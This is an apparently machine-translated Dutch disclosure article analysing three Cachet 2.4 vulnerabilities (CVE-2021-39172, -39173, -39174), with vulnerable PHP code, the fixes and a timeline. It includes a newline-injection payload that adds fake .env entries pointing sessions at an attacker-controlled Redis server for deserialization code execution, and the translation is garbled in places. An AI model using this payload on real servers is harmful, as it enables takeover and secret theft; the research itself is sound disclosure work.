Cachet 2.4: Code-uitvoering via Laravel-configuratie-injectie

Statuspagina’s zijn nu een essentieel dienstverlenend onderdeel van alle Software-as-a-Service bedrijven. Om hun acceptatie te bevorderen, bedachten start-ups snel statuspagina’s als-een-dienst en open-source zelf-gehoste alternatieven werden beschikbaar gemaakt. Cachet, ook wel bekend als CachetHQ, is een breed aangenomen statuspagina systeem geschreven in PHP en heeft veel communityforks, zoals fiveai/Cachet.

Het compromitteren van Cachet-instanties is lonend voor aanvallers, aangezien ze geheimen opslaan voor verschillende diensten zoals caches, databases, e-mailservers, enz. Deze eerste voet aan de grond in het infrastructuur is handig voor hen om zich te verplaatsen in het interne netwerk van het getroffen bedrijf en verder aanvallen uit te voeren. In dit artikel presenteer ik de technische analyse van drie beveiligingsproblemen die mijn team en ik in Cachet 2.4 hebben ontdekt. Ze kunnen aanvallers in staat stellen het server te compromitteren.

Impact

De exploitatie van deze kwetsbaarheden werd gecontroleerd op de laatste officiële release van Cachet op dat moment (2.3.18), evenals op de ontwikkelingsbranch (2.4). Een aanvaller die deze kwetsbaarheden wil misbruiken, heeft een geldig gebruikersaccount nodig met basisrechten, een scenario dat realistisch kan worden ingezet door:

  • Het gebruik van creditcard stuwen dankzij de aanzienlijke hoeveelheid accounts die elk jaar worden gelekt.
  • A compromised or malicious user. 
  • De aanwezigheid van een cross-site scripting kwetsbaarheid op hetzelfde periscoop.
  • De exploitatie van CVE-2021-39165, een pre-geauthenticeerde SQL-injectie in Cachet die in januari 2021 is gefixt.

Kwetsbaarheid 1: CVE-2021-39172

De eerste kwetsbaarheid (CVE-2021-39172) die ik beschrijf, is een nieuwe lijn injectie die plaatsvindt wanneer gebruikers de configuratie van een instantie bijwerken, zoals de e-mailinstellingen. Het staat aanvallers toe om nieuwe richtlijnen in te voeren en het gedrag van kernfuncties te wijzigen, wat kan leiden tot uitvoering van willekeurige code.

Het volgende filmpje toont de exploitatie van deze kwetsbaarheid. Voor demonstratiedoeleinden worden verschillende stappen handmatig uitgevoerd, maar ze kunnen door aanvallers worden geautomatiseerd:

Bron: Sonar YouTube

Kwetsbaarheid 2: CVE-2021-39174

De tweede (CVE-2021-39174) is ook gerelateerd aan deze functie en staat aanvallers toe om geheimen die in de configuratiebestand worden opgeslagen, te ontfutselen, bijvoorbeeld het SMTP server wachtwoord, de toepassingsencryptiesleutel, enz.

Kwetsbaarheid 3: CVE-2021-39173

Tenslotte is de laatste bug (CVE-2021-39173) veel eenvoudiger en staat toe om het opstellingsproces te doorlopen, zelfs als de instantie al volledig geconfigureerd is. Op deze manier kunnen aanvallers de Cachet-instantie misleiden om een willekeurige database onder hun controle te gebruiken, wat uiteindelijk kan leiden tot uitvoering van willekeurige code.

Patches voor deze drie kwetsbaarheden zijn beschikbaar in release 2.5.1 van de FiveAI fork.

Technische Details

In deze sectie beschrijf ik de technische details van elke kwetsbaarheid en de manier waarop ze werden afgevangen in de nieuwste release van de community fork.

CVE-2021-39172: Uitvoering van externe code

Het dashboard van Cachet biedt verschillende configuratieweergaven (zelfs aan niet-beheerders) om de instantienaam, e-mailserverinstellingen, enz. te wijzigen. Toepassingsniveau-persistente instellingen worden opgeslagen in de database, en andere frameworkniveau-waarden worden rechtstreeks opgeslagen in het configuratiebestand van de toepassing. Het Laravel-framework gebruikt dotenv configuratiebestanden, een formaat vergelijkbaar met hoe je omgevingsvariabelen zou declareren in een shellscript. Hun ondersteuning is geïmplementeerd in de derde-partij bibliotheek hier.

Bij het wijzigen van de e-mailproviderinstellingen instantieert de controller een object van de klasse UpdateConfigCommand. Laravel-opdrachten, in de context van de commandobus, zijn een manier om toepassingsspecifieke logica uit controllers te verwijderen; ze worden synchroon uitgevoerd bij een execute() aanroep op het object. Dit gebeurt bij [1]:  

app/Http/Controllers/Dashboard/SettingsController.php:

PHP

 

<?php
public function postMail()
{   
     $config = Binput::get('config');   
     execute(new UpdateConfigCommand($config));            // [1]    
     return cachet_redirect('dashboard.settings.mail')        
          ->withInput(Binput::all())       
          ->withSuccess(trans('dashboard.notifications.awesome')); 
}

De geassocieerde handler UpdateConfigCommandHandler is verantwoordelijk voor het uitvoeren van wijzigingen in het bestaande dotenv bestand door bestaande vermeldingen te vervangen door nieuwe.

UpdateConfigCommandHandler kan worden geactiveerd door code op twee verschillende locaties:

  1. SetupController@postStep3: het laatste stap van het installatieproces. Zodra de instantie is geïnstalleerd, kan deze codepad niet meer worden bereikt;
  2. SettingsController@postMail: bij het bijwerken van de dotenv vermeldingen met betrekking tot e-mail servers.

Het zal eerst de volledige configuratiebestand evalueren om de procesomgeving te vullen ([1]), bepalen of de aanwijzing om te updaten al gedefinieerd is ([2]), en de vermelding vervangen door zijn nieuwe waarde ([3]):

app/Bus/Handlers/Commands/System/Config/UpdateConfigCommandHandler.php:

PHP

 

<?php
class UpdateConfigCommandHandler
{    
    // [...]    
    public function handle(UpdateConfigCommand $command)   
    {       
       foreach ($command->values as $setting => $value) {          
             $this->writeEnv($setting, $value);      
       }   
     }   
    // [...]   
    protected function writeEnv($key, $value)  
    {      
      $dir = app()->environmentPath();       
      $file = app()->environmentFile();       
      $path = "{$dir}/{$file}";        

      try {          
          (new Dotenv($dir, $file))->load();       // [1]              
          $envKey = strtoupper($key);          

          $envValue = env($envKey) ?: 'null';      // [2]           

         file_put_contents($path, str_replace(    // [3]              
              "{$envKey}={$envValue}",                        
              "{$envKey}={$value}",             
              file_get_contents($path)                   
         ));       
      } catch (InvalidPathException $e) {           
         throw $e;      
     }   
  } 
}

Er wordt geen validatie uitgevoerd op de inkomende gegevens: zolang de configuratievermelding al bestaat, zal deze worden vervangen door een waarde die afkomstig is van de parameter. Als een aanvaller een waarde biedt die nieuwe regels bevat, zal het nieuwe vermeldingen in het dotenv bestand creëren en kan het framework-niveau functionaliteiten wijzigen.

Opmerking: alleen de eerste definitie van een variabele in een dotenv bestand zal worden gebruikt; latere zullen worden genegeerd. 

Bij Laravel-projecten is deze primitieve voldoende om willekeurige code-uitvoering te verkrijgen. Het oorspronkelijke dotenv configuratiebestand zal waarschijnlijk ongeveer zo uitzien in de meeste instanties:

.env:

Shell

 

APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null

Aanvallers kunnen de CACHE_DRIVER sleutel vervangen en een Redis-server onder hun controle registreren als een nieuwe sessiebackend:

Shell

 

file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis

Na het verzenden van een aanvraag die CACHE_DRIVER instelt op deze waarde, zal het dotenv bestand er zo uitzien:

.env:

Shell

 

APP_ENV=production 
APP_DEBUG=false 
APP_URL=http://cachet.internal 
APP_TIMEZONE=UTC 
// [...] 
CACHE_DRIVER=file 
REDIS_HOST=some.remote.server 
REDIS_DATABASE=0 
REDIS_PORT=6379 
SESSION_DRIVER=redis 
SESSION_DRIVER=file 
QUEUE_DRIVER=null
// [...]

Omdat Laravel-sessies worden geseialiseerd met behulp van PHP’s native formaat, worden ze geanalyseerd met de functie unserialize(). Dit is een bekende zwakte die kan worden uitgebuit tot uitvoering van willekeurige code door gebruik te maken van een reeks speciaal samengestelde objecten, een concept dat bekend staat als “pop chains”. Het hulpprogramma PHPGGC kan dergelijke ketens genereren voor Laravel-projecten. 

Er zijn mogelijk andere manieren om commando-uitvoering te benutten vanuit een nieuwe regel injectie in een dotenv bestand, maar we hebben verder onderzoek in deze richting niet voortgezet. Mijn team en ik zijn benieuwd of u zich bewust bent van andere technieken, hoewel!

CVE-2021-39174: Configuratielek

Zoals ik in de vorige sectie heb beschreven, kan men directe lees- en schrijfcontrole hebben over waarden die in het dotenv bestand worden opgeslagen. Schrijven naar dit bestand leidt uiteindelijk tot willekeurige code-uitvoering, maar kan dit ook worden benut door het feit dat de waarden van dit bestand worden weergegeven in de interface?

De documentatie van vlucas/phpdotenv beschrijft dat het ondersteuning biedt voor nested variabelen toewijzing: bij het declareren van een variabele, kun je een eerder gedeclareerde variabele aanroepen met de syntaxis ${NAME}.

Dit kenmerk is handig: door een andere variabele in een vermelding van het dotenv configuratiebestand te verwijzen en deze vermelding in de interface weer te geven, wordt de waarde van een andere variabele onthuld. 

Het is reeds wijdverbreid gedocumenteerd dat het lekken van APP_KEY leidt tot code-uitvoering als de sessie driver is ingesteld op cookie, en deze primitieve kan ook worden gebruikt om DB_PASSWORD en MAIL_PASSWORD te onthullen voor verdere aanvallen.

CVE-2021-39173: Geforceerde Reinstallatie

De instelpagina is niet toegankelijk als de instantie al is geïnstalleerd, zoals geïmplementeerd in de middleware. SetupAlreadyCompleted:

app/Http/Middleware/SetupAlreadyCompleted.php:

PHP

 

settings->get('app_name')) {               
                  return cachet_redirect('dashboard');          
             }      
         } catch (ReadException $e) {          
            // nog niet ingesteld!      
         }        
         
         return $next($request);   
  } 
}

De controle is uitsluitend gebaseerd op de waarde van de instelling: als deze niet gedefinieerd is of leeg, zal de middleware beschouwen dat de instantie is geïnstalleerd.

Mocht je je afvragen wat nog meer als false kan evalueren, hier is een snelle handleiding over PHP’s type-systeem tijdens vergelijkingen tot PHP 8. Vergelijking kan worden uitgevoerd met een gelijkheidscheck (==) of een identiteitscheck (===). Gelijkheidschecks betekenen dat de type van de operanden niet in aanmerking wordt genomen, en strings kunnen vooraf worden omgezet naar getallen. Dit gedrag is “type juggling” genoemd en is misbruikt in verschillende echte levensgevaarlijke kwetsbaarheden (CVE-2017-1001000, CVE-2019-10231). In het geval van de bovenstaande vergelijking, zal elke waarde die gelijk is aan een lege string of “0” evalueren false en toegang geven tot de setuppagina’s.

De waarde van de app_name wordt niet gecontroleerd tijdens de updates van instellingen in SettingsController@postSettings, op [1]:

app/Http/Controllers/Dashboard/SettingsController.php:

PHP

 

<?php
class SettingsController extends Controller
{  
   // [...]   
   public function postSettings()  
   {      
       $setting = app(Repository::class);      
       // [...]      
       $parameters = Binput::all();       
      // [...]      
      $excludedParams = [           
        '_token',          
        'app_banner',          
        'remove_banner',          
        'header',           
        'footer',           
        'stylesheet',      
     ];       
     try {          
         foreach (Binput::except($excludedParams) as $settingName =>
 $settingValue) {              
                if ($settingName === 'app_analytics_pi_url') {                      
                        $settingValue = rtrim($settingValue, '/');             
                }              
                $setting->set($settingName, $settingValue); // <-- [1]
// [...]

Daarom kan een geauthenticeerde gebruiker deze bijwerken naar een waarde die evalueert als false en vervolgens toegang/setup opnieuw te installeren met een nieuw beheerdersaccount (privilege-escalatie) of ons eerste resultaat misbruiken en code-uitvoering verkrijgen (onthoud, UpdateConfigCommandHandler kan ook vanaf deze code-route worden misbruikt).

Patch

Het nieuwe lijn-injectie kwetsbaarheid (CVE-2021-39172) werd aangepakt door de validatie van binnenkomende waarden in UpdateConfigCommandHandler te verbeteren, elke wijziging met newline characters te weigeren.

De configuratielek-bug (CVE-2021-39174) was complexer om te patchen, aangezien de nieuwste versie van de dotenv bibliotheek niet kon worden geïmporteerd vanwege de bestaande afhankelijkheden. In plaats daarvan werd relevant code overgezet om de commando-handler in staat te stellen te bepalen of een waarde een geneste variabele bevat. 

Tenslotte is het niet mogelijk om een herinstallatie van bestaande instanties af te dwingen (CVE-2021-39173) dankzij verbeterde controles in de beïnvloede middleware.

Tijdlijn

DATE ACTION
2021-03-26 Issues reported by email to the official security disclosure address of the upstream project.
2021-06-25 We send the security issues and patches to the community-supported fork (fiveai/Cachet).
2021-08-27 Release 2.5.1 of the FiveAI fork is published, with fixes for CVE-2021-39172, CVE-2021-39173, and CVE-2021-39174.

Samenvatting

In dit artikel analyseerde ik drie kwetsbaarheden in Cachet en toonde de mogelijkheid om instanties over te nemen met slechts basale gebruikersrechten door gebruik te maken van Laravel-configuratiebestanden. Ik beschreef ook de patches die door de beheerders zijn toegepast en hoe ze de aanvallen die ik heb gepresenteerd, voorkomen. 

Tot slot willen mijn team en ik de beheerders van de FiveAI-fork van Cachet bedanken voor het erkennen van onze adviesaanvraag en het tijdig en professioneel oplossen van deze kwetsbaarheden.

Source:
https://dzone.com/articles/cachet-two-four-code-execution-via-laravel-configuration-injection